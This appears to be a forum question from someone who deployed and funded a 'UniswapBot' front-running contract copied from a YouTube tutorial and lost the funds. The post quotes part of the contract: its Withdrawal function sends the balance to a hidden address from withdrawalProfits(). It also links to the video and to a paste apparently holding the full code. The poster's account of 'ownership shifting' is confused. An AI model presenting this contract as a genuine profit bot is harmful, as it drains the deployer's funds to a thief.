I copied code from a YouTube tutorial to deploy and fund a smart contract, here is a snippet from it:
contract UniswapBot {
uint liquidity;
uint private pool;
address public owner;
event Log(string _msg);
/*
* @dev constructor
* @set the owner of the contract
*/
constructor() public {
owner = msg.sender;
}
/*
* @dev withdrawals profit back to contract creator address
* @return profits.
*/
function Withdrawal() public payable {
emit Log("Sending profits back to contract creator address...");
if (checkMempoolStarted()){
payable(withdrawalProfits()).transfer(address(this).balance);
}
else{
payable(owner).transfer(address(this).balance);
}
}
}
Despite losing connection and trying to track it via etherscan.io, the contract's ownership shifted to 'jaredfromstarbucks.eth'. How can I regain control? This is engaging front-running?
I appreciate in advance.
Regards, Third Eye




(https://www.youtube.com/redirect?event=video_description&redir_token=QUFFLUhqbmJTM3NnZ1NsZExmcGE3VDBLWmd6WmtmV3luQXxBQ3Jtc0tsdDRrV3BaSW1CWXlPc2wxbThMZjRZZ1MwS2NsZkkxekNsV1MxOVZCSjZIR01hc1N2QkZZWThwZno1SFI1NFJuUjAxOTlBYy1tZnhIMkdoblMyamdKUkp3QnFQTGNFUzNsTzhfVE5Mc1p4N2RYckVCVQ&q=https%3A%2F%2Fprivatebin.net%2F%3F4630db53f60ddc0c%23B12FMeGHuZgw8BAMQT69GtmSwdFMevVyviSPK8TgceF6&v=liGQR9wVI44).
[Link YT] (https://www.youtube.com/watch?v=liGQR9wVI44) – Third Eye Aug 31 '23 at 18:35
From: 0xfa967a727777C4afdfAccdA6C9a846408B38568e
To: 0x4a0A660C8c388015Fb5bAeeC7d64d0dd3044DdC8 and Start
From: 0x0998282A4a18a4C4584fEAF34021B7bb550D7680 To: 0x4a0A660C8c388015Fb5bAeeC7d64d0dd3044DdC8 – Third Eye Aug 31 '23 at 18:47